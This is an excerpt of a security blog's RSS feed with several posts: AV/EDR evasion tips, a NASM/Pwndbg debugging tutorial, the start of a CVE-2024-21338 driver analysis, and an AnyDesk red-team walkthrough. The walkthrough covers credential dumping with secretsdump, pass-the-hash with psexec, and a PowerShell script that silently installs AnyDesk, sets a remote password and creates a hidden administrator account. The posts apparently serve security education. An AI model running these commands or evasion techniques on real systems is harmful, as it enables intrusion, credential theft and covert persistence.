&lt;li&gt;Memory artifacts: RWX regions, IAT anomalies, unbacked executable pages, common API call graphs.&lt;/li&gt;
&lt;li&gt;Hooking/Unhooking: naïve ntdll.dll unhooking can trigger EDR heuristics; consider syscall stubs or clean mappings.&lt;/li&gt;
&lt;li&gt;ETW/AMSI: for native agents, AMSI is less relevant; ETW providers still surface behavior—patching can be fragile and detectable.&lt;/li&gt;
&lt;li&gt;Network indicators: default URIs, user‑agents, and jitter patterns are low‑hanging fruit—customize profiles.&lt;/li&gt;
&lt;li&gt;YARA/Sigma: strings, export names, and section layouts are common signatures; refactor and rename liberally.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Build &amp;amp; Detection Caveats&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Tooling: Prefer custom loaders over stock msfvenom templates; match x86/x64; strip PDBs.&lt;/li&gt;
&lt;li&gt;OPSEC: Test in an isolated lab; use custom C2 profiles; rotate infra (domains/certs).&lt;/li&gt;
&lt;li&gt;AV/EDR: Recompile and refactor; rename exports/strings; avoid default URIs; add sleep/jitter; consider indirect syscalls where appropriate.&lt;/li&gt;
&lt;li&gt;Memory hygiene: Avoid RWX; set proper section protections; minimize obvious patterns in loaders.&lt;/li&gt;
&lt;li&gt;Ethics: Use only with written authorization; comply with laws and client rules of engagement.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Slice the Stack, Spot the Bug:  From Registers to Root Cause</title><link>https://wanderlens.vercel.app/posts/slicethestackspotthebug/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/slicethestackspotthebug/</guid><pubDate>Tue, 22 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;(Viết cho Ubuntu 22.04, GDB ≥ 11, NASM 2.16 trở lên – các bản khác chỉ cần thay lệnh link cho phù hợp)&lt;/em&gt;---
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;1. NASM là gì?&lt;/h1&gt;
&lt;p&gt;NASM (Netwide Assembler) là một trình biên dịch Assembly mã mở, đa nền tảng, dùng cú pháp Intel rõ ràng và rất linh hoạt trong việc định nghĩa macro, nhãn và section (&lt;code&gt;.data&lt;/code&gt;, &lt;code&gt;.bss&lt;/code&gt;, &lt;code&gt;.text&lt;/code&gt;). So với MASM (Microsoft Macro Assembler) – vốn chỉ chạy trên Windows và tích hợp chặt với Visual Studio, hỗ trợ nhiều chỉ thị “cao cấp” (như TYPEDEF, PROC/ENDP) – NASM nhẹ hơn và dễ mang sang Linux, macOS hay BSD. Còn GAS (GNU Assembler) trong bộ Binutils mặc định dùng cú pháp AT&amp;amp;T (thuộc dạng &lt;code&gt;movl %eax, %ebx&lt;/code&gt;), đôi khi gây khó khăn với người quen Intel syntax; tuy nhiên GAS gắn chặt với toolchain GCC và hỗ trợ inline assembly trực tiếp trong C/C++. Trong khi đó TASM hay FASM cũng là trình assembler có khả năng tối ưu cao và macro mạnh, nhưng ít được duy trì và ít cộng đồng hơn so với NASM.&lt;/p&gt;
&lt;p&gt;Về khả năng tương tác với hệ điều hành, NASM cho phép chúng ta tự do chọn cách gọi system call (dùng &lt;code&gt;int 0x80&lt;/code&gt; hoặc &lt;code&gt;syscall&lt;/code&gt;), trong khi MASM thường dùng WinAPI (Invoke ExitProcess, WriteFile…). Với GAS, chúng ta sẽ gắn trực tiếp các symbol do GCC sinh ra. Cuối cùng, so với các ngôn ngữ bậc cao như C, việc viết NASM đòi hỏi quản lý thủ công thanh ghi, bộ nhớ và cờ CPU, nhưng đổi lại chúng ta có toàn quyền tối ưu hóa từng chu kỳ lệnh, tiết kiệm bộ nhớ và hiểu sâu về cách CPU vận hành—mà C hay các ngôn ngữ khác không thể hiện chi tiết đến vậy.&lt;/p&gt;
&lt;h1&gt;2. Vì sao nên dùng Pwndbg thay vì GDB “thuần” khi debug ASM?&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bố cục 4‑pane&lt;/strong&gt; (regs | stack | disasm | source) tô màu, giúp chúng ta “nhìn phát hiểu” luồng thực thi.&lt;/li&gt;
&lt;li&gt;Lệnh &lt;strong&gt;&lt;code&gt;context&lt;/code&gt;&lt;/strong&gt; tự cập nhật khi chúng ta &lt;code&gt;stepi&lt;/code&gt; – không cần gõ &lt;code&gt;info r&lt;/code&gt;, &lt;code&gt;x/5i $eip&lt;/code&gt; liên tục.&lt;/li&gt;
&lt;li&gt;Thao tác &lt;strong&gt;địa chỉ tuyệt đối&lt;/strong&gt; (bộ nhớ, stack) cực nhanh nhờ alias như &lt;code&gt;tel&lt;/code&gt;, &lt;code&gt;hexdump&lt;/code&gt;, &lt;code&gt;vmmap&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Hỗ trợ cả &lt;strong&gt;dwarf&lt;/strong&gt; lẫn &lt;strong&gt;stabs&lt;/strong&gt; nên NASM + &lt;code&gt;-g&lt;/code&gt; hoạt động trơn tru.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;3. Build có Debug Info và không có Debug Info&lt;/h1&gt;
&lt;p&gt;Ta build 1 chương trình assembly x86 như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;section .data
    msg     db  &quot;Hello, world!&quot;, 0xA   ; chuỗi + newline
    len     equ $ - msg                ; tính độ dài

section .text
    global _start

_start:
    ; sys_write(int fd, const void *buf, size_t count)
    mov     eax, 4      ; syscall số 4 = sys_write
    mov     ebx, 1      ; fd = 1 (stdout)
    mov     ecx, msg    ; buffer
    mov     edx, len    ; count
    int     0x80        ; gọi kernel

    ; sys_exit(int status)
    mov     eax, 1      ; syscall số 1 = sys_exit
    xor     ebx, ebx    ; status = 0
    int     0x80        ; gọi kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi có debug info(debug-symbol) (-g, DWARF/STABS)&lt;/h2&gt;
&lt;p&gt;Với cú pháp lệnh build với debug-symbol và link tạo binary như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm -f elf -g -F dwarf hello.asm -o helloDebugsymbol.o
ld -m elf_i386 -o helloDebugsymbol helloDebugsymbol.o
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Breakpoint theo nguồn: chúng ta có thể đặt breakpoint ngay tại tên hàm hoặc số dòng trong file .c/.asm (ví dụ: break main.c:42 hoặc break _start).&lt;/li&gt;
&lt;li&gt;Hiển thị code bên cạnh disassembly: Pwndbg sẽ đồng bộ hiển thị cả source code và opcode, giúp chúng ta nắm được luồng thực thi tức thì.&lt;/li&gt;
&lt;li&gt;Thông tin biến và kiểu dữ liệu: chúng ta có thể dùng print counter hoặc print struct_point.x để xem giá trị đúng tên biến chứ không phải đọc raw memory.&lt;/li&gt;
&lt;li&gt;Call stack rõ ràng: Lệnh backtrace liệt kê chuỗi hàm kèm tham số, giá trị biến local và frame pointer chính xác.
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;li&gt;Kích thước file lớn hơn: Thêm các section .debug_* (hoặc .stab), có thể strip riêng khi release với objcopy --strip-debug.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Khi không có debug info (bỏ -g, hoặc dùng -s)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nasm -f elf hello.asm -o hello.o
ld -m elf_i386 -s -o hello hello.o
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Breakpoint theo địa chỉ: Chỉ có thể dùng break *0x8049000, không thể break theo tên hàm hay số dòng.&lt;/li&gt;
&lt;li&gt;Chỉ disassembly: chúng ta chỉ thấy opcode và địa chỉ, không có source code hiển thị kèm.&lt;/li&gt;
&lt;li&gt;Biến bị strip: Không thể print var_name; mọi thứ phải đọc qua x/4wx hoặc manual cast pointer.&lt;/li&gt;
&lt;li&gt;Call stack hạn chế: backtrace chỉ trả về địa chỉ và offset, rất khó theo dõi luồng gọi.&lt;/li&gt;
&lt;li&gt;File nhẹ hơn: Thích hợp cho release, không lộ metadata, dung lượng nhỏ hơn.
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;li&gt;Lưu ý: Khi không có debug info, chúng sẽ debug “mù” source. Hãy tận dụng Pwndbg để:
&lt;ul&gt;
&lt;li&gt;Tự động format disassembly, highlight registers.&lt;/li&gt;
&lt;li&gt;Search pattern và gadget nhanh.&lt;/li&gt;
&lt;li&gt;Telescope stack để xem layout.&lt;/li&gt;
&lt;li&gt;Vmmap/piebase để xử lý PIE.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip&lt;/strong&gt;: Dù không có symbol, Pwndbg vẫn hỗ trợ context disasm stack regs, search --string &quot;Hello&quot;, telescope $esp để điều hướng nhanh hơn GDB thuần.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;4. DWARF và STABS – Hai “Ngôn ngữ” Của Debugger&lt;/h1&gt;
&lt;p&gt;Khi biên dịch mã với tùy chọn -g, NASM có thể chèn thông tin gỡ lỗi theo hai chuẩn chính: DWARF (hiện đại) và STABS (cổ điển). Về cơ bản, cả hai đều giúp GDB/Pwndbg “hiểu” được mối quan hệ giữa địa chỉ máy (opcode) và vị trí trong file nguồn, nhưng khác nhau ở mức độ phong phú và khả năng mở rộng:&lt;/p&gt;
&lt;h4&gt;DWARF&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Chia nhỏ vào các section như .debug_info, .debug_line, .debug_abbrev… nên dễ quản lý và mở rộng (hãy nghĩ tới việc hiển thị inlined function, macro, template, struct phức tạp).&lt;/li&gt;
&lt;li&gt;Là chuẩn mặc định của GCC/Clang, được các công cụ hiện đại (IDE, profiler, sanitizers…) ưu tiên hỗ trợ.&lt;/li&gt;
&lt;li&gt;Dung lượng file debug lớn hơn STABS nhưng có thể strip hoặc compress tách riêng khi đóng gói release.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;STABS&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Ra đời từ kỷ nguyên UNIX 32‑bit, vẫn được dùng trong các toolchain cũ hoặc kernel module legacy.&lt;/li&gt;
&lt;li&gt;Gom thông tin vào .stab/.stabstr với cấu trúc đơn giản, chỉ đủ để map tên hàm, biến, số dòng; ít metadata hơn DWARF.&lt;/li&gt;
&lt;li&gt;File .o thường nhỏ hơn, nhưng gần như không thể mở rộng để lưu thêm thông tin hiện đại (ví dụ inline call hay macro expansion).&lt;/li&gt;
&lt;li&gt;Tóm lại, với hầu hết workflow ngày nay – đặc biệt khi chúng ta cần debug kết hợp C và ASM hoặc theo dõi macro/inline– thì DWARF là lựa chọn ưu việt, còn STABS chỉ dành cho các dự án cực kỳ cổ hoặc môi trường toolchain bị giới hạn.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;5. Chuẩn bị môi trường&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;# 1. Cài pwndbg
git clone https://github.com/pwndbg/pwndbg ~/tools/pwndbg
cd ~/tools/pwndbg &amp;amp;&amp;amp; ./setup.sh

# 2. Cài nasm (nếu chưa có)
sudo apt install nasm
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;6. Khởi động Pwndbg&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;gdb ./hello        # Pwndbg tự nạp qua ~/.gdbinit
starti             # dừng ngay lệnh đầu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;chúng ta sẽ thấy:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;5. Quy trình debug NASM “chuẩn bài”&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bước&lt;/th&gt;
&lt;th&gt;Lệnh &amp;amp; ý nghĩa&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. Xem toàn cảnh&lt;/td&gt;
&lt;td&gt;&lt;code&gt;context&lt;/code&gt; (hoặc &lt;code&gt;context regs disasm&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. Bước từng lệnh&lt;/td&gt;
&lt;td&gt;&lt;code&gt;stepi&lt;/code&gt; (&lt;code&gt;si&lt;/code&gt;), &lt;code&gt;nexti&lt;/code&gt; (&lt;code&gt;ni&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. Theo dõi thanh ghi quan trọng&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reg eax edi esi edx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4. Soi stack&lt;/td&gt;
&lt;td&gt;&lt;code&gt;telescope $esp&lt;/code&gt; (&lt;code&gt;tel&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5. Xem ô nhớ bất kỳ&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x/10wx 0x404000&lt;/code&gt; (16 byte word)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6. Đặt breakpoint vào nhãn&lt;/td&gt;
&lt;td&gt;&lt;code&gt;break _start+5&lt;/code&gt; &lt;strong&gt;hoặc&lt;/strong&gt; &lt;code&gt;break *0x40100b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7. Đổi theme dark/light&lt;/td&gt;
&lt;td&gt;&lt;code&gt;theme context.theme dark&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8. Ghi macro lặp bước&lt;/td&gt;
&lt;td&gt;&lt;code&gt;define stepx\nsi\ncontext\nend&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;... Continue&lt;/p&gt;
&lt;p&gt;Hy vọng qua bài blog này có thể giúp chúng ta debug  “nhanh như gió”, &lt;em&gt;snipe&lt;/em&gt; bug chuẩn từng thanh ghi!&lt;/p&gt;
</content:encoded></item><item><title>Repurposing remote desktop application as a strategic exploit</title><link>https://wanderlens.vercel.app/posts/remotedesktopappexploit/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/remotedesktopappexploit/</guid><pubDate>Mon, 10 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;new-1.png&quot; alt=&quot;alt text&quot; /&gt;
Trong thế giới an ninh mạng, công cụ hợp pháp đôi khi trở thành vũ khí nguy hiểm khi rơi vào tay kẻ tấn công. Các ứng dụng Remote Desktop như AnyDesk, TeamViewer, Windows RDP không chỉ hỗ trợ quản trị hệ thống từ xa mà còn mở ra cơ hội cho Red Team thực hiện &lt;strong&gt;Lateral Movement&lt;/strong&gt;, Leo thang đặc quyền (&lt;strong&gt;Privilege Escalation&lt;/strong&gt;), và Duy trì truy cập (&lt;strong&gt;Persistence&lt;/strong&gt;).&lt;/p&gt;
&lt;p&gt;Trong bài viết này, chúng ta sẽ đi tìm hiểu một chuỗi kịch bản tấn công sử dụng AnyDesk – từ xâm nhập ban đầu đến thiết lập duy trì kết nối lâu dài.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;strong&gt;1. Social Engineering&lt;/strong&gt;&lt;br /&gt;
Các nhóm ransomware như &lt;strong&gt;Black Basta,Lockbit,...&lt;/strong&gt; thường gửi hàng loạt email đăng ký newsletter hợp pháp, gây nhiễu loạn hệ thống, sau đó liên hệ qua điện thoại (vờ là bộ phận IT) để dụ nạn nhân tải AnyDesk để &quot;khắc phục sự cố&quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Phishing&lt;/strong&gt;&lt;br /&gt;
Email/website giả mạo dụ người dùng tải phiên bản AnyDesk độc hại (chứa backdoor hoặc các phiên bản cũ có dính lổ hổng bảo mật) hoặc nhập thông tin xác thực giả. Khi cài đặt thành công, attacker toàn quyền điều khiển máy nạn nhân qua giao diện AnyDesk.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Lỗ hổng Phần mềm&lt;/strong&gt;
Các phiên bản AnyDesk chưa vá (đặc biệt lỗi &lt;strong&gt;CVE-2021-44425&lt;/strong&gt;) cho phép attacker khai thác để chiếm quyền truy cập trái phép.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Unattended Access&lt;/strong&gt;
Tính năng &quot;truy cập không giám sát&quot; cho phép kết nối từ xa mà không cần xác nhận của người dùng. Attacker brute-force password hoặc dùng credential rò rỉ để duy trì kết nối ngầm.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;🌐 CVE-2021-44425&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;
Khi sử dụng tính năng tunneling, client Windows của AnyDesk mở ra một cổng lắng nghe không cần thiết trên máy thuộc LAN của kẻ tấn công. Điều này cho phép kẻ tấn công truy cập trái phép vào bộ giao thức tunneling của AnyDesk trên máy cục bộ, cũng như vào bất kỳ phần mềm nào trên máy đích từ xa đang lắng nghe qua cổng được tunnel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kịch bản Tấn công:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bối cảnh:&lt;/strong&gt; Nhân viên công ty dùng AnyDesk tunnel để kết nối máy chủ nội bộ từ quán cà phê.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lỗi Binding TCP:&lt;/strong&gt; AnyDesk mặc định bind tunnel qua &lt;strong&gt;0.0.0.0&lt;/strong&gt; (tất cả interface), kẻ tấn công cùng mạng Wi-Fi có thể:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Chiếm quyền Truy cập:&lt;/strong&gt; Khai thác cổng mạng bị lộ để tấn công dịch vụ nội bộ.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Leo thang Đe dọa:&lt;/strong&gt; Xâm nhập sâu vào mạng &quot;an toàn&quot;, đánh cắp dữ liệu nhạy cảm qua kênh tunnel.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Hệ lụy:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dịch vụ nội bộ (database, file server) bị phơi bày trên mạng công cộng.&lt;/li&gt;
&lt;li&gt;Attacker chiếm quyền điều khiển toàn bộ stack giao tiếp AnyDesk của nạn nhân.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Privilege Escalation&lt;/h2&gt;
&lt;p&gt;Ở case này chúng ta có thể tận dụng lổ hổng &lt;strong&gt;CVE-2024-12754&lt;/strong&gt; để khai thác Local Privilege Escalation.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;🌐 CVE-2024-12754&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;CVE-2024-12754 bắt nguồn từ cơ chế &lt;code&gt;READ/WRITE&lt;/code&gt; file tùy ý của AnyDesk service, vốn chạy với quyền &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;.
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;
Điều này đồng nghĩa với việc chúng ta có thể sao chép bất kỳ tệp nào đến một vị trí mà người dùng có đặc quyền thấp có thể truy cập, đồng thời vẫn giữ nguyên quyền sở hữu và các thiết lập quyền hạn ban đầu.
&lt;img src=&quot;image-9.png&quot; alt=&quot;alt text&quot; /&gt;
Vậy chúng ta sẽ có kịch bản tấn công như sau:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Tận dụng lỗ hổng để copy file SAM/SECURITY&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Chúng ta có thể kết hợp khai thác lỗ hổng và phương pháp Shadow Copy từ mã nguồn sau: https://github.com/Wh04m1001/VSSCopy (sử dụng hàm NtQueryDirectoryObject để thực hiện việc copy) để có thể copy các file SAM/SECURITY.
&lt;img src=&quot;image-10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: &lt;strong&gt;NtQueryDirectoryObject&lt;/strong&gt; là một hàm trong Windows Native API (NTAPI), thuộc nhóm hàm quản lý Object Manager của Windows. Hàm này cho phép truy vấn danh sách các Object Directory trong Windows Object Manager, giúp liệt kê các đối tượng hệ thống như named pipes, mutexes, events, symbolic links, shared memory, và device objects.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;NTSTATUS NtQueryDirectoryObject(
  HANDLE DirectoryHandle, //Handle của Object Directory cần truy vấn.
  PVOID Buffer, //Bộ đệm chứa danh sách các đối tượng (trả về sau khi gọi hàm).
  ULONG Length, //Kích thước bộ đệm Buffer (tính bằng byte).
  BOOLEAN ReturnSingleEntry, // TRUE: Trả về một đối tượng duy nhất trong mỗi lần gọi. FALSE: Trả về danh sách đầy đủ các đối tượng có trong thư mục.
  BOOLEAN RestartScan, //TRUE: Quét lại từ đầu danh sách đối tượng. FALSE: Tiếp tục quét từ vị trí trước đó.
  PULONG Context, //Con trỏ đến vị trí quét hiện tại (giá trị sẽ được cập nhật khi quét danh sách đối tượng).
  PULONG ReturnLength //Trả về số byte thực tế được ghi vào Buffer.
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chúng ta xây dựng poc và output sau khi chạy poc của chúng ta:&lt;img src=&quot;image-7.png&quot; alt=&quot;alt text&quot; /&gt;
2. &lt;strong&gt;Trích xuất Credential:&lt;/strong&gt;&lt;br /&gt;
Sau khi chúng ta lấy được file SAM/SECURITY, chúng ta sử dụng các công cụ như &lt;code&gt;secretsdump.py&lt;/code&gt; hoặc &lt;code&gt;mimikatz&lt;/code&gt; để phân tích:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;NTLM Hash của tài khoản Administrator.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;LSA Secrets (dữ liệu nhạy cảm trong registry).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cached Credentials (thông tin đăng nhập lưu cache).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ví dụ: Dùng &lt;code&gt;secretsdump&lt;/code&gt; trong bộ &lt;code&gt;impacket&lt;/code&gt; để trích xuất hash.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Command như sau: &lt;code&gt;python .\.venv\Scripts\secretsdump.py -sam .\Result\sam -system .\Result\system LOCAL&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Output:!&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Lấy shell&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Chúng ta có thể sử dụng kỹ thuật Pass The Hash để lấy &lt;strong&gt;system shell&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Sử dụng &lt;code&gt;psexec&lt;/code&gt; từ bộ impacket để chạy &lt;strong&gt;shell&lt;/strong&gt; với hash đã trích xuất được với cú pháp sau:
&lt;code&gt;impacket-psexec -hashes &amp;lt;LMHash&amp;gt;:&amp;lt;NTHash&amp;gt; &amp;lt;username&amp;gt;@&amp;lt;ip&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kết quả:&lt;/strong&gt;&lt;br /&gt;
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Chúng ta có thể chạy shell với quyền &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;.
&lt;img src=&quot;sticker_2134-512x512.png&quot; alt=&quot;Mô tả ảnh&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Persistence - Backdooring AnyDesk for Future Access&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Chúng ta cũng có thể tận dụng AnyDesk để persistence thông qua tính năng cho phép đặt mật khẩu điều khiển từ xa.
Scripts dưới đây cho phép cài đặt AnyDesk một cách âm thầm và đặt mật khẩu để có quyền truy cập từ xa và đồng thời tạo ra một người dùng mới với các đặc quyền quản trị viên và ẩn tài khoản mới khỏi màn hình đăng nhập Windows.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Tải &amp;amp; Cài đặt AnyDesk ngầm
mkdir &quot;C:\ProgramData\AnyDesk&quot;
$clnt = New-Object System.Net.WebClient
$clnt.DownloadFile(&quot;http://download.anydesk.com/AnyDesk.exe&quot;, &quot;C:\ProgramData\AnyDesk.exe&quot;)
Start-Process &quot;C:\ProgramData\AnyDesk.exe&quot; -ArgumentList &quot;--install C:\ProgramData\AnyDesk --start-with=win --silent&quot; -Wait
# Đặt mật khẩu điều khiển từ xa
Start-Process &quot;C:\ProgramData\anydesk.exe&quot; -ArgumentList &quot;--set-password hacker@123&quot; -Wait
# Tạo user ẩn với quyền Admin
net user oldadministrator &quot;hacker#213&quot; /add
net localgroup Administrators oldadministrator /ADD
reg add &quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist&quot; /v oldadministrator /t REG_DWORD /d 0 /f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bằng cách chạy đoạn script trên, Attacker có thể kết nối với target qua AnyDesk bất kỳ lúc nào.
&lt;img src=&quot;image-12.png&quot; alt=&quot;alt text&quot; /&gt;
&amp;lt;h2&amp;gt;&amp;lt;strong style=&quot;color: red;&quot;&amp;gt;Now you pwned everything!!! It’s your time to play with the victim.&amp;lt;/strong&amp;gt;&amp;lt;h2&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows Admin-to-Kernel Elevation of Privilege CVE-2024-21338</title><link>https://wanderlens.vercel.app/posts/cve2024_21338/input/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/cve2024_21338/input/</guid><pubDate>Wed, 25 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Giới thiệu&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;CVE 2024-21338&lt;/strong&gt; (CVSS Score: 8.8) nằm trong cơ chế xử lý IOCTL &lt;code&gt;0x22A018&lt;/code&gt; của driver &lt;code&gt;appid.sys&lt;/code&gt;. Khi nhận yêu cầu IOCTL này, hàm AipSmartHashImageFile() được kích hoạt để tính toán hash của file thực thi, nhưng cho phép kẻ tấn công kiểm soát hai con trỏ callback. Điều này dẫn đến khả năng ghi đè bộ nhớ kernel và tiềm ẩn rủi ro leo thang đặc quyền.&lt;/p&gt;
&lt;h2&gt;Phân tích driver appid.sys và vai trò của IOCTL&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;appid.sys&lt;/strong&gt;: &lt;em&gt;là trình điều khiển cung cấp khả năng kiểm soát ứng dụng trong AppLocker, nhằm ngăn chặnthực thi các ứng dụng không được phép. Tuy nhiên, lỗ hổng tồn tại trong cách mà driver xử lý mã IOCTL &lt;code&gt;0x22A018&lt;/code&gt;, sử dụng để tính toán &lt;strong&gt;smart hash&lt;/strong&gt; của file thực thi.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IOCTL (Input/Output Control)&lt;/strong&gt;: &lt;em&gt;là cơ chế cho phép ứng dụng người dùng giao tiếp với trình điều khiển kernel bằng cách gửi các yêu cầu cụ thể. Trong trường hợp này, IOCTL &lt;code&gt;0x22A018&lt;/code&gt; cho phép chỉ định các con trỏ hàm để xử lý file, bao gồm truy vấn kích thước file và đọc dữ liệu từ file.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Để giao tiếp với driver thông qua IOCTL trên Windows, bước đầu tiên cần có handle để mở driver. Thông qua phân tích appid.sys(AppLocker) driver bằng IDA Pro, trong hàm DriverEntry xác định object cần mở để handle là &lt;code&gt;&quot;\\Device\\AppID&quot;&lt;/code&gt;.
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;
Hàm &lt;strong&gt;AipSmartHashImageFile()&lt;/strong&gt; có vai trò chính trong việc tính toán &quot;smart hash&quot; của một file thực thi. Cụ thể, nó được gọi bởi driver &lt;strong&gt;appid.sys&lt;/strong&gt; của Windows khi nhận yêu cầu IOCTL &lt;code&gt;0x22A018&lt;/code&gt;. Cơ chế hoạt động của hàm dựa trên hai callback function được truyền vào thông qua  bộ nhớ đệm đầu vào.
Về căn bản, driver xử lý các IOCTL trong các hàm tương tự như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NTSTATUS DeviceControl(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp)
{
